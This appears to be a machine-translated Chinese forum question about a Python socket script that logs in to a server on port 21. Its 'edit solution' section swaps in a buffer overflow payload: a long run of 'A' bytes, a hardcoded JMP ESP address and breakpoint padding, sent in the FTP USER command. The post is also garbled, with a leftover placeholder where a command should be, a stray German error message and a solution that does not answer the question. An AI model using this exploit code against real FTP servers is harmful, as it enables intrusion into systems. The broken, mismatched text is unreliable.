我編寫了一個簡單的Python腳本，它應該使用用戶名和密碼連接到Telnet服務器。在

腳本如下：#!/usr/bin/python

import sys

import socket

hostname = sys.argv[1]

password = "whatever"

username = "whatever"

connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

connect.connect((hostname, 21))

except:

print "[-] connection error"

response = connect.recv(2000)

print response

sys.exit(1)

connect.send("user %s\%r\%n" %username)

response = connect.recv(2000)

print response

connect.send("pass %\%r\%n" %password)

response = connect.recv(2000)

print response

connect.close()

錯誤是：

連接正常，但我無法用以下命令模擬enter鍵：

^{pr2}$

那為什么不起作用呢？

謝謝：）

編輯解決方案：#!/usr/bin/python

import sys

import socket

hostname = sys.argv[1]

password = "whatever"

jmpesp= "\xED\x1E\x94\x7C"

username = "A"*485 + jmpesp + "\xcc"*(1024 - 485 - 4)

connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

connect.connect((hostname, 21))

except:

print "[-] Verbindungs Fehler"

response = connect.recv(2000)

print response

sys.exit(1)

connect.send("user %s\r\n" %username)

response = connect.recv(2000)

print response

connect.send("user %s\r\n" %password)

response = connect.recv(2000)

print response

connect.close()

總結

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